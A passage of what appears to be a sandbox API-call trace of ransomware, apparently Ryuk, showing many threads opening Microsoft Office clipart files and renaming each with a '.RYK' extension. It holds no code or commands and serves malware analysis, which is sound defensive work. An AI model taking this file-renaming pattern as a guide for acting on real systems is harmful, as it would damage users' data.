	[0278.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01785_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01785_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.339] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.339] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01785_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01785_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01785_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01785_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3638
	os_tid = 0x3d90

	[0277.942] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01805_.WMF", dwFileAttributes=0x80) returned 0
	[0278.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01805_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01805_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.382] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.382] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01805_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01805_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01805_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01805_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3646
	os_tid = 0x3db0

	[0277.943] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01905_.WMF", dwFileAttributes=0x80) returned 0
	[0278.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01905_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01905_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.381] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.381] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01905_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01905_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01905_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01905_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3647
	os_tid = 0x3db4

	[0277.944] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01954_.WMF", dwFileAttributes=0x80) returned 0
	[0278.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01954_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01954_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.379] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.379] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01954_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01954_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01954_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01954_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3648
	os_tid = 0x3db8

	[0277.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02009_.WMF", dwFileAttributes=0x80) returned 0
	[0278.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02009_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02009_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.378] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.378] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02009_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02009_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02009_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02009_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3649
	os_tid = 0x3dbc

	[0277.946] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02022_.WMF", dwFileAttributes=0x80) returned 0
	[0278.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02022_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02022_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.377] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.377] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02022_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02022_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02022_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02022_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3650
	os_tid = 0x3dc0

	[0277.947] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02024_.WMF", dwFileAttributes=0x80) returned 0
	[0278.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02024_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02024_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.375] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.375] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02024_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02024_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02024_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02024_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3651
	os_tid = 0x3dc4

	[0277.948] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02025_.WMF", dwFileAttributes=0x80) returned 0
	[0278.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02025_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02025_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.374] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.374] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02025_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02025_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02025_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02025_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3652
	os_tid = 0x3dc8

	[0277.951] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02028_.WMF", dwFileAttributes=0x80) returned 0
	[0278.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02028_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02028_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.373] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.373] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02028_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02028_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02028_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02028_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3653
	os_tid = 0x3dcc

	[0277.952] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02045_.WMF", dwFileAttributes=0x80) returned 0
	[0278.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02045_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.371] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.371] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02045_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02045_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02045_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3654
	os_tid = 0x3dd0

	[0277.953] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02048_.WMF", dwFileAttributes=0x80) returned 0
	[0278.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02048_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02048_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.370] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.370] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02048_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02048_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02048_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02048_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3655
	os_tid = 0x3dd4

	[0277.954] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02051_.WMF", dwFileAttributes=0x80) returned 0
	[0278.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02051_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02051_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.369] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.369] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02051_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02051_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02051_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02051_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3656
	os_tid = 0x3dd8

	[0277.956] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02054_.WMF", dwFileAttributes=0x80) returned 0
	[0278.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02054_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02054_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.367] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.367] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02054_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02054_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02054_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02054_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3657
	os_tid = 0x3ddc

	[0278.217] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02055_.WMF", dwFileAttributes=0x80) returned 0
	[0282.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02055_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02055_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.366] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.366] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02055_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02055_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02055_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02055_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3658
	os_tid = 0x3de4

	[0278.218] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02067_.WMF", dwFileAttributes=0x80) returned 0
	[0282.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02067_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02067_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.365] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.365] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02067_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02067_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02067_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02067_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3659
	os_tid = 0x3de8

	[0278.222] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02094_.WMF", dwFileAttributes=0x80) returned 0
	[0282.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02094_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02094_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.363] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.363] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02094_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02094_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02094_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02094_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3660
	os_tid = 0x3dec

	[0278.222] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02227_.WMF", dwFileAttributes=0x80) returned 0
	[0282.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02227_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02227_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.361] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.362] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02227_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02227_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02227_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02227_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3661
	os_tid = 0x3df0

	[0278.223] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02228_.WMF", dwFileAttributes=0x80) returned 0
	[0282.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02228_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02228_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.359] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.360] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02228_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02228_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02228_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02228_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3662
	os_tid = 0x3df4

	[0278.224] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02233_.WMF", dwFileAttributes=0x80) returned 0
	[0282.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02233_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.357] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.358] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02233_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02233_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02233_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3663
	os_tid = 0x3df8

	[0278.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02252_.WMF", dwFileAttributes=0x80) returned 0
	[0282.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.685] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.685] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02252_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02252_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02252_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3664
	os_tid = 0x3dfc

	[0278.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02253_.WMF", dwFileAttributes=0x80) returned 0
	[0282.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02253_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.899] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.899] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02253_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02253_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02253_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3665
	os_tid = 0x3e00

	[0278.226] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02261_.WMF", dwFileAttributes=0x80) returned 0
	[0282.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.900] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.900] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02261_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02261_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02261_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3666
	os_tid = 0x3e04

	[0278.227] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02263_.WMF", dwFileAttributes=0x80) returned 0
	[0282.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02263_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02263_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.901] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.902] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02263_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02263_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02263_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02263_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3667
	os_tid = 0x3e08

	[0278.227] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02265_.WMF", dwFileAttributes=0x80) returned 0
	[0282.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.903] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.903] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02265_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02265_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02265_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3668
	os_tid = 0x3e0c

	[0278.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02268_.WMF", dwFileAttributes=0x80) returned 0
	[0282.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02268_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02268_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.904] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.905] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02268_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02268_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02268_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02268_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3669
	os_tid = 0x3e14

	[0281.390] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02269_.WMF", dwFileAttributes=0x80) returned 0
	[0282.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.932] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.932] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02269_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02269_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02269_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3670
